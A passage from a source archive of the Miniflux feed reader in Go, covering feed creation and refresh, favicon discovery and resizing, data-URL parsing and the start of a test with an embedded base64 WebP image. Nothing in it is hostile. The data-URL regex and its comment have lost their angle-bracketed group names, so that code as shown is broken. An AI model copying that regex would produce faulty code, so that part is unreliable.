subscription.IgnoreHTTPCache = feedCreationRequest.IgnoreHTTPCache
subscription.AllowSelfSignedCertificates = feedCreationRequest.AllowSelfSignedCertificates
subscription.FetchViaProxy = feedCreationRequest.FetchViaProxy
subscription.ScraperRules = feedCreationRequest.ScraperRules
subscription.RewriteRules = feedCreationRequest.RewriteRules
subscription.BlocklistRules = feedCreationRequest.BlocklistRules
subscription.KeeplistRules = feedCreationRequest.KeeplistRules
subscription.UrlRewriteRules = feedCreationRequest.UrlRewriteRules
subscription.EtagHeader = feedCreationRequest.ETag
subscription.LastModifiedHeader = feedCreationRequest.LastModified
subscription.FeedURL = feedCreationRequest.FeedURL
subscription.DisableHTTP2 = feedCreationRequest.DisableHTTP2
subscription.WithCategoryID(feedCreationRequest.CategoryID)
subscription.CheckedNow()
processor.ProcessFeedEntries(store, subscription, userID, true)
if storeErr := store.CreateFeed(subscription); storeErr != nil {
return nil, locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
}
slog.Debug("Created feed",
slog.Int64("user_id", userID),
slog.Int64("feed_id", subscription.ID),
slog.String("feed_url", subscription.FeedURL),
)
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithUsernameAndPassword(feedCreationRequest.Username, feedCreationRequest.Password)
requestBuilder.WithUserAgent(feedCreationRequest.UserAgent, config.Opts.HTTPClientUserAgent())
requestBuilder.WithCookie(feedCreationRequest.Cookie)
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
requestBuilder.UseProxy(feedCreationRequest.FetchViaProxy)
requestBuilder.IgnoreTLSErrors(feedCreationRequest.AllowSelfSignedCertificates)
requestBuilder.DisableHTTP2(feedCreationRequest.DisableHTTP2)
icon.NewIconChecker(store, subscription).UpdateOrCreateFeedIcon()
return subscription, nil
}
// CreateFeed fetch, parse and store a new feed.
func CreateFeed(store *storage.Storage, userID int64, feedCreationRequest *model.FeedCreationRequest) (*model.Feed, *locale.LocalizedErrorWrapper) {
slog.Debug("Begin feed creation process",
slog.Int64("user_id", userID),
slog.String("feed_url", feedCreationRequest.FeedURL),
)
if !store.CategoryIDExists(userID, feedCreationRequest.CategoryID) {
return nil, locale.NewLocalizedErrorWrapper(ErrCategoryNotFound, "error.category_not_found")
}
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithUsernameAndPassword(feedCreationRequest.Username, feedCreationRequest.Password)
requestBuilder.WithUserAgent(feedCreationRequest.UserAgent, config.Opts.HTTPClientUserAgent())
requestBuilder.WithCookie(feedCreationRequest.Cookie)
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
requestBuilder.UseProxy(feedCreationRequest.FetchViaProxy)
requestBuilder.IgnoreTLSErrors(feedCreationRequest.AllowSelfSignedCertificates)
requestBuilder.DisableHTTP2(feedCreationRequest.DisableHTTP2)
responseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(feedCreationRequest.FeedURL))
defer responseHandler.Close()
if localizedError := responseHandler.LocalizedError(); localizedError != nil {
slog.Warn("Unable to fetch feed", slog.String("feed_url", feedCreationRequest.FeedURL), slog.Any("error", localizedError.Error()))
return nil, localizedError
}
responseBody, localizedError := responseHandler.ReadBody(config.Opts.HTTPClientMaxBodySize())
if localizedError != nil {
slog.Warn("Unable to fetch feed", slog.String("feed_url", feedCreationRequest.FeedURL), slog.Any("error", localizedError.Error()))
return nil, localizedError
}
if store.FeedURLExists(userID, responseHandler.EffectiveURL()) {
return nil, locale.NewLocalizedErrorWrapper(ErrDuplicatedFeed, "error.duplicated_feed")
}
subscription, parseErr := parser.ParseFeed(responseHandler.EffectiveURL(), bytes.NewReader(responseBody))
if parseErr != nil {
return nil, locale.NewLocalizedErrorWrapper(parseErr, "error.unable_to_parse_feed", parseErr)
}
subscription.UserID = userID
subscription.UserAgent = feedCreationRequest.UserAgent
subscription.Cookie = feedCreationRequest.Cookie
subscription.Username = feedCreationRequest.Username
subscription.Password = feedCreationRequest.Password
subscription.Crawler = feedCreationRequest.Crawler
subscription.Disabled = feedCreationRequest.Disabled
subscription.IgnoreHTTPCache = feedCreationRequest.IgnoreHTTPCache
subscription.AllowSelfSignedCertificates = feedCreationRequest.AllowSelfSignedCertificates
subscription.DisableHTTP2 = feedCreationRequest.DisableHTTP2
subscription.FetchViaProxy = feedCreationRequest.FetchViaProxy
subscription.ScraperRules = feedCreationRequest.ScraperRules
subscription.RewriteRules = feedCreationRequest.RewriteRules
subscription.BlocklistRules = feedCreationRequest.BlocklistRules
subscription.KeeplistRules = feedCreationRequest.KeeplistRules
subscription.UrlRewriteRules = feedCreationRequest.UrlRewriteRules
subscription.HideGlobally = feedCreationRequest.HideGlobally
subscription.EtagHeader = responseHandler.ETag()
subscription.LastModifiedHeader = responseHandler.LastModified()
subscription.FeedURL = responseHandler.EffectiveURL()
subscription.WithCategoryID(feedCreationRequest.CategoryID)
subscription.CheckedNow()
processor.ProcessFeedEntries(store, subscription, userID, true)
if storeErr := store.CreateFeed(subscription); storeErr != nil {
return nil, locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
}
slog.Debug("Created feed",
slog.Int64("user_id", userID),
slog.Int64("feed_id", subscription.ID),
slog.String("feed_url", subscription.FeedURL),
)
icon.NewIconChecker(store, subscription).UpdateOrCreateFeedIcon()
return subscription, nil
}
// RefreshFeed refreshes a feed.
func RefreshFeed(store *storage.Storage, userID, feedID int64, forceRefresh bool) *locale.LocalizedErrorWrapper {
slog.Debug("Begin feed refresh process",
slog.Int64("user_id", userID),
slog.Int64("feed_id", feedID),
slog.Bool("force_refresh", forceRefresh),
)
originalFeed, storeErr := store.FeedByID(userID, feedID)
if storeErr != nil {
return locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
}
if originalFeed == nil {
return locale.NewLocalizedErrorWrapper(ErrFeedNotFound, "error.feed_not_found")
}
weeklyEntryCount := 0
refreshDelayInMinutes := 0
if config.Opts.PollingScheduler() == model.SchedulerEntryFrequency {
var weeklyCountErr error
weeklyEntryCount, weeklyCountErr = store.WeeklyFeedEntryCount(userID, feedID)
if weeklyCountErr != nil {
return locale.NewLocalizedErrorWrapper(weeklyCountErr, "error.database_error", weeklyCountErr)
}
}
originalFeed.CheckedNow()
originalFeed.ScheduleNextCheck(weeklyEntryCount, refreshDelayInMinutes)
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithUsernameAndPassword(originalFeed.Username, originalFeed.Password)
requestBuilder.WithUserAgent(originalFeed.UserAgent, config.Opts.HTTPClientUserAgent())
requestBuilder.WithCookie(originalFeed.Cookie)
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
requestBuilder.UseProxy(originalFeed.FetchViaProxy)
requestBuilder.IgnoreTLSErrors(originalFeed.AllowSelfSignedCertificates)
requestBuilder.DisableHTTP2(originalFeed.DisableHTTP2)
ignoreHTTPCache := originalFeed.IgnoreHTTPCache || forceRefresh
if !ignoreHTTPCache {
requestBuilder.WithETag(originalFeed.EtagHeader)
requestBuilder.WithLastModified(originalFeed.LastModifiedHeader)
}
responseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(originalFeed.FeedURL))
defer responseHandler.Close()
if responseHandler.IsRateLimited() {
retryDelayInSeconds := responseHandler.ParseRetryDelay()
refreshDelayInMinutes = retryDelayInSeconds / 60
originalFeed.ScheduleNextCheck(weeklyEntryCount, refreshDelayInMinutes)
slog.Warn("Feed is rate limited",
slog.String("feed_url", originalFeed.FeedURL),
slog.Int("retry_delay_in_seconds", retryDelayInSeconds),
slog.Int("refresh_delay_in_minutes", refreshDelayInMinutes),
slog.Time("new_next_check_at", originalFeed.NextCheckAt),
)
}
if localizedError := responseHandler.LocalizedError(); localizedError != nil {
slog.Warn("Unable to fetch feed", slog.String("feed_url", originalFeed.FeedURL), slog.Any("error", localizedError.Error()))
user, storeErr := store.UserByID(userID)
if storeErr != nil {
return locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
}
originalFeed.WithTranslatedErrorMessage(localizedError.Translate(user.Language))
store.UpdateFeedError(originalFeed)
return localizedError
}
if store.AnotherFeedURLExists(userID, originalFeed.ID, responseHandler.EffectiveURL()) {
localizedError := locale.NewLocalizedErrorWrapper(ErrDuplicatedFeed, "error.duplicated_feed")
user, storeErr := store.UserByID(userID)
if storeErr != nil {
return locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
}
originalFeed.WithTranslatedErrorMessage(localizedError.Translate(user.Language))
store.UpdateFeedError(originalFeed)
return localizedError
}
if ignoreHTTPCache || responseHandler.IsModified(originalFeed.EtagHeader, originalFeed.LastModifiedHeader) {
slog.Debug("Feed modified",
slog.Int64("user_id", userID),
slog.Int64("feed_id", feedID),
slog.String("etag_header", originalFeed.EtagHeader),
slog.String("last_modified_header", originalFeed.LastModifiedHeader),
)
responseBody, localizedError := responseHandler.ReadBody(config.Opts.HTTPClientMaxBodySize())
if localizedError != nil {
slog.Warn("Unable to fetch feed", slog.String("feed_url", originalFeed.FeedURL), slog.Any("error", localizedError.Error()))
return localizedError
}
updatedFeed, parseErr := parser.ParseFeed(responseHandler.EffectiveURL(), bytes.NewReader(responseBody))
if parseErr != nil {
localizedError := locale.NewLocalizedErrorWrapper(parseErr, "error.unable_to_parse_feed", parseErr)
if errors.Is(parseErr, parser.ErrFeedFormatNotDetected) {
localizedError = locale.NewLocalizedErrorWrapper(parseErr, "error.feed_format_not_detected", parseErr)
}
user, storeErr := store.UserByID(userID)
if storeErr != nil {
return locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
}
originalFeed.WithTranslatedErrorMessage(localizedError.Translate(user.Language))
store.UpdateFeedError(originalFeed)
return localizedError
}
// If the feed has a TTL defined, we use it to make sure we don't check it too often.
refreshDelayInMinutes = updatedFeed.TTL
// Set the next check at with updated arguments.
originalFeed.ScheduleNextCheck(weeklyEntryCount, refreshDelayInMinutes)
slog.Debug("Updated next check date",
slog.Int64("user_id", userID),
slog.Int64("feed_id", feedID),
slog.Int("refresh_delay_in_minutes", refreshDelayInMinutes),
slog.Time("new_next_check_at", originalFeed.NextCheckAt),
)
originalFeed.Entries = updatedFeed.Entries
processor.ProcessFeedEntries(store, originalFeed, userID, forceRefresh)
// We don't update existing entries when the crawler is enabled (we crawl only inexisting entries). Unless it is forced to refresh
updateExistingEntries := forceRefresh || !originalFeed.Crawler
newEntries, storeErr := store.RefreshFeedEntries(originalFeed.UserID, originalFeed.ID, originalFeed.Entries, updateExistingEntries)
if storeErr != nil {
localizedError := locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
user, storeErr := store.UserByID(userID)
if storeErr != nil {
return locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
}
originalFeed.WithTranslatedErrorMessage(localizedError.Translate(user.Language))
store.UpdateFeedError(originalFeed)
return localizedError
}
userIntegrations, intErr := store.Integration(userID)
if intErr != nil {
slog.Error("Fetching integrations failed; the refresh process will go on, but no integrations will run this time",
slog.Int64("user_id", userID),
slog.Int64("feed_id", feedID),
slog.Any("error", intErr),
)
} else if userIntegrations != nil && len(newEntries) > 0 {
go integration.PushEntries(originalFeed, newEntries, userIntegrations)
}
originalFeed.EtagHeader = responseHandler.ETag()
originalFeed.LastModifiedHeader = responseHandler.LastModified()
originalFeed.IconURL = updatedFeed.IconURL
iconChecker := icon.NewIconChecker(store, originalFeed)
if forceRefresh {
iconChecker.UpdateOrCreateFeedIcon()
} else {
iconChecker.CreateFeedIconIfMissing()
}
} else {
slog.Debug("Feed not modified",
slog.Int64("user_id", userID),
slog.Int64("feed_id", feedID),
)
// Last-Modified may be updated even if ETag is not. In this case, per
// RFC9111 sections 3.2 and 4.3.4, the stored response must be updated.
if responseHandler.LastModified() != "" {
originalFeed.LastModifiedHeader = responseHandler.LastModified()
}
}
originalFeed.ResetErrorCounter()
if storeErr := store.UpdateFeed(originalFeed); storeErr != nil {
localizedError := locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
user, storeErr := store.UserByID(userID)
if storeErr != nil {
return locale.NewLocalizedErrorWrapper(storeErr, "error.database_error", storeErr)
}
originalFeed.WithTranslatedErrorMessage(localizedError.Translate(user.Language))
store.UpdateFeedError(originalFeed)
return localizedError
}
return nil
}
v2-2.2.5/internal/reader/icon/ 0000775 0000000 0000000 00000000000 14743520056 0016063 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/icon/checker.go 0000664 0000000 0000000 00000004601 14743520056 0020017 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package icon // import "miniflux.app/v2/internal/reader/icon"
import (
"log/slog"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/fetcher"
"miniflux.app/v2/internal/storage"
)
type IconChecker struct {
store *storage.Storage
feed *model.Feed
}
func NewIconChecker(store *storage.Storage, feed *model.Feed) *IconChecker {
return &IconChecker{
store: store,
feed: feed,
}
}
func (c *IconChecker) fetchAndStoreIcon() {
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithUserAgent(c.feed.UserAgent, config.Opts.HTTPClientUserAgent())
requestBuilder.WithCookie(c.feed.Cookie)
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
requestBuilder.UseProxy(c.feed.FetchViaProxy)
requestBuilder.IgnoreTLSErrors(c.feed.AllowSelfSignedCertificates)
requestBuilder.DisableHTTP2(c.feed.DisableHTTP2)
iconFinder := NewIconFinder(requestBuilder, c.feed.SiteURL, c.feed.IconURL)
if icon, err := iconFinder.FindIcon(); err != nil {
slog.Debug("Unable to find feed icon",
slog.Int64("feed_id", c.feed.ID),
slog.String("website_url", c.feed.SiteURL),
slog.String("feed_icon_url", c.feed.IconURL),
slog.Any("error", err),
)
} else if icon == nil {
slog.Debug("No icon found",
slog.Int64("feed_id", c.feed.ID),
slog.String("website_url", c.feed.SiteURL),
slog.String("feed_icon_url", c.feed.IconURL),
)
} else {
if err := c.store.StoreFeedIcon(c.feed.ID, icon); err != nil {
slog.Error("Unable to store feed icon",
slog.Int64("feed_id", c.feed.ID),
slog.String("website_url", c.feed.SiteURL),
slog.String("feed_icon_url", c.feed.IconURL),
slog.Any("error", err),
)
} else {
slog.Debug("Feed icon stored",
slog.Int64("feed_id", c.feed.ID),
slog.String("website_url", c.feed.SiteURL),
slog.String("feed_icon_url", c.feed.IconURL),
slog.Int64("icon_id", icon.ID),
slog.String("icon_hash", icon.Hash),
)
}
}
}
func (c *IconChecker) CreateFeedIconIfMissing() {
if c.store.HasFeedIcon(c.feed.ID) {
slog.Debug("Feed icon already exists",
slog.Int64("feed_id", c.feed.ID),
)
return
}
c.fetchAndStoreIcon()
}
func (c *IconChecker) UpdateOrCreateFeedIcon() {
c.fetchAndStoreIcon()
}
v2-2.2.5/internal/reader/icon/finder.go 0000664 0000000 0000000 00000021251 14743520056 0017662 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package icon // import "miniflux.app/v2/internal/reader/icon"
import (
"bytes"
"encoding/base64"
"fmt"
"image"
"image/gif"
"image/jpeg"
"image/png"
"io"
"log/slog"
"net/url"
"regexp"
"slices"
"strings"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/crypto"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/fetcher"
"miniflux.app/v2/internal/urllib"
"github.com/PuerkitoBio/goquery"
"golang.org/x/image/draw"
"golang.org/x/net/html/charset"
)
type IconFinder struct {
requestBuilder *fetcher.RequestBuilder
websiteURL string
feedIconURL string
}
func NewIconFinder(requestBuilder *fetcher.RequestBuilder, websiteURL, feedIconURL string) *IconFinder {
return &IconFinder{
requestBuilder: requestBuilder,
websiteURL: websiteURL,
feedIconURL: feedIconURL,
}
}
func (f *IconFinder) FindIcon() (*model.Icon, error) {
slog.Debug("Begin icon discovery process",
slog.String("website_url", f.websiteURL),
slog.String("feed_icon_url", f.feedIconURL),
)
if f.feedIconURL != "" {
if icon, err := f.FetchFeedIcon(); err != nil {
slog.Debug("Unable to download icon from feed",
slog.String("website_url", f.websiteURL),
slog.String("feed_icon_url", f.feedIconURL),
slog.Any("error", err),
)
} else if icon != nil {
return icon, nil
}
}
if icon, err := f.FetchIconsFromHTMLDocument(); err != nil {
slog.Debug("Unable to fetch icons from HTML document",
slog.String("website_url", f.websiteURL),
slog.Any("error", err),
)
} else if icon != nil {
return icon, nil
}
return f.FetchDefaultIcon()
}
func (f *IconFinder) FetchDefaultIcon() (*model.Icon, error) {
slog.Debug("Fetching default icon",
slog.String("website_url", f.websiteURL),
)
iconURL, err := urllib.JoinBaseURLAndPath(urllib.RootURL(f.websiteURL), "favicon.ico")
if err != nil {
return nil, fmt.Errorf(`icon: unable to join root URL and path: %w`, err)
}
icon, err := f.DownloadIcon(iconURL)
if err != nil {
return nil, err
}
return icon, nil
}
func (f *IconFinder) FetchFeedIcon() (*model.Icon, error) {
slog.Debug("Fetching feed icon",
slog.String("website_url", f.websiteURL),
slog.String("feed_icon_url", f.feedIconURL),
)
iconURL, err := urllib.AbsoluteURL(f.websiteURL, f.feedIconURL)
if err != nil {
return nil, fmt.Errorf(`icon: unable to convert icon URL to absolute URL: %w`, err)
}
return f.DownloadIcon(iconURL)
}
func (f *IconFinder) FetchIconsFromHTMLDocument() (*model.Icon, error) {
slog.Debug("Searching icons from HTML document",
slog.String("website_url", f.websiteURL),
)
rootURL := urllib.RootURL(f.websiteURL)
responseHandler := fetcher.NewResponseHandler(f.requestBuilder.ExecuteRequest(rootURL))
defer responseHandler.Close()
if localizedError := responseHandler.LocalizedError(); localizedError != nil {
return nil, fmt.Errorf("icon: unable to download website index page: %w", localizedError.Error())
}
iconURLs, err := findIconURLsFromHTMLDocument(
responseHandler.Body(config.Opts.HTTPClientMaxBodySize()),
responseHandler.ContentType(),
)
if err != nil {
return nil, err
}
slog.Debug("Searched icon from HTML document",
slog.String("website_url", f.websiteURL),
slog.String("icon_urls", strings.Join(iconURLs, ",")),
)
for _, iconURL := range iconURLs {
if strings.HasPrefix(iconURL, "data:") {
slog.Debug("Found icon with data URL",
slog.String("website_url", f.websiteURL),
)
return parseImageDataURL(iconURL)
}
iconURL, err = urllib.AbsoluteURL(f.websiteURL, iconURL)
if err != nil {
return nil, fmt.Errorf(`icon: unable to convert icon URL to absolute URL: %w`, err)
}
if icon, err := f.DownloadIcon(iconURL); err != nil {
slog.Debug("Unable to download icon from HTML document",
slog.String("website_url", f.websiteURL),
slog.String("icon_url", iconURL),
slog.Any("error", err),
)
} else if icon != nil {
slog.Debug("Found icon from HTML document",
slog.String("website_url", f.websiteURL),
slog.String("icon_url", iconURL),
)
return icon, nil
}
}
return nil, nil
}
func (f *IconFinder) DownloadIcon(iconURL string) (*model.Icon, error) {
slog.Debug("Downloading icon",
slog.String("website_url", f.websiteURL),
slog.String("icon_url", iconURL),
)
responseHandler := fetcher.NewResponseHandler(f.requestBuilder.ExecuteRequest(iconURL))
defer responseHandler.Close()
if localizedError := responseHandler.LocalizedError(); localizedError != nil {
return nil, fmt.Errorf("icon: unable to download website icon: %w", localizedError.Error())
}
responseBody, localizedError := responseHandler.ReadBody(config.Opts.HTTPClientMaxBodySize())
if localizedError != nil {
return nil, fmt.Errorf("icon: unable to read response body: %w", localizedError.Error())
}
icon := &model.Icon{
Hash: crypto.HashFromBytes(responseBody),
MimeType: responseHandler.ContentType(),
Content: responseBody,
}
icon = resizeIcon(icon)
return icon, nil
}
func resizeIcon(icon *model.Icon) *model.Icon {
r := bytes.NewReader(icon.Content)
if !slices.Contains([]string{"image/jpeg", "image/png", "image/gif"}, icon.MimeType) {
slog.Info("icon isn't a png/gif/jpeg/ico, can't resize", slog.String("mimetype", icon.MimeType))
return icon
}
// Don't resize icons that we can't decode, or that already have the right size.
config, _, err := image.DecodeConfig(r)
if err != nil {
slog.Warn("unable to decode the metadata of the icon", slog.Any("error", err))
return icon
}
if config.Height <= 32 && config.Width <= 32 {
slog.Debug("icon don't need to be rescaled", slog.Int("height", config.Height), slog.Int("width", config.Width))
return icon
}
r.Seek(0, io.SeekStart)
var src image.Image
switch icon.MimeType {
case "image/jpeg":
src, err = jpeg.Decode(r)
case "image/png":
src, err = png.Decode(r)
case "image/gif":
src, err = gif.Decode(r)
}
if err != nil {
slog.Warn("unable to decode the icon", slog.Any("error", err))
return icon
}
dst := image.NewRGBA(image.Rect(0, 0, 32, 32))
draw.BiLinear.Scale(dst, dst.Rect, src, src.Bounds(), draw.Over, nil)
var b bytes.Buffer
if err = png.Encode(io.Writer(&b), dst); err != nil {
slog.Warn("unable to encode the new icon", slog.Any("error", err))
}
icon.Content = b.Bytes()
icon.MimeType = "image/png"
return icon
}
func findIconURLsFromHTMLDocument(body io.Reader, contentType string) ([]string, error) {
queries := []string{
"link[rel='icon' i]",
"link[rel='shortcut icon' i]",
"link[rel='icon shortcut' i]",
"link[rel='apple-touch-icon-precomposed.png']",
}
htmlDocumentReader, err := charset.NewReader(body, contentType)
if err != nil {
return nil, fmt.Errorf("icon: unable to create charset reader: %w", err)
}
doc, err := goquery.NewDocumentFromReader(htmlDocumentReader)
if err != nil {
return nil, fmt.Errorf("icon: unable to read document: %v", err)
}
var iconURLs []string
for _, query := range queries {
slog.Debug("Searching icon URL in HTML document", slog.String("query", query))
doc.Find(query).Each(func(i int, s *goquery.Selection) {
if href, exists := s.Attr("href"); exists {
if iconURL := strings.TrimSpace(href); iconURL != "" {
iconURLs = append(iconURLs, iconURL)
slog.Debug("Found icon URL in HTML document",
slog.String("query", query),
slog.String("icon_url", iconURL))
}
}
})
}
return iconURLs, nil
}
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs#syntax
// data:[][;encoding],
// we consider to be mandatory, and it has to start with `image/`.
// we consider `base64`, `utf8` and the empty string to be the only valid encodings
func parseImageDataURL(value string) (*model.Icon, error) {
re := regexp.MustCompile(`^data:` +
`(?Pimage/[^;,]+)` +
`(?:;(?Pbase64|utf8))?` +
`,(?P.+)$`)
matches := re.FindStringSubmatch(value)
if matches == nil {
return nil, fmt.Errorf(`icon: invalid data URL %q`, value)
}
mediaType := matches[re.SubexpIndex("mediatype")]
encoding := matches[re.SubexpIndex("encoding")]
data := matches[re.SubexpIndex("data")]
var blob []byte
switch encoding {
case "base64":
var err error
blob, err = base64.StdEncoding.DecodeString(data)
if err != nil {
return nil, fmt.Errorf(`icon: invalid data %q (%v)`, value, err)
}
case "":
decodedData, err := url.QueryUnescape(data)
if err != nil {
return nil, fmt.Errorf(`icon: unable to decode data URL %q`, value)
}
blob = []byte(decodedData)
case "utf8":
blob = []byte(data)
}
return &model.Icon{
Hash: crypto.HashFromBytes(blob),
Content: blob,
MimeType: mediaType,
}, nil
}
v2-2.2.5/internal/reader/icon/finder_test.go 0000664 0000000 0000000 00000017240 14743520056 0020724 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package icon // import "miniflux.app/v2/internal/reader/icon"
import (
"bytes"
"encoding/base64"
"image"
"strings"
"testing"
"miniflux.app/v2/internal/model"
)
func TestParseImageDataURL(t *testing.T) {
iconURL := "data:image/webp;base64,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"
icon, err := parseImageDataURL(iconURL)
if err != nil {
t.Fatalf(`We should be able to parse valid data URL: %v`, err)
}
if icon.MimeType != "image/webp" {
t.Fatal(`Invalid mime type parsed`)
}
if icon.Hash == "" {
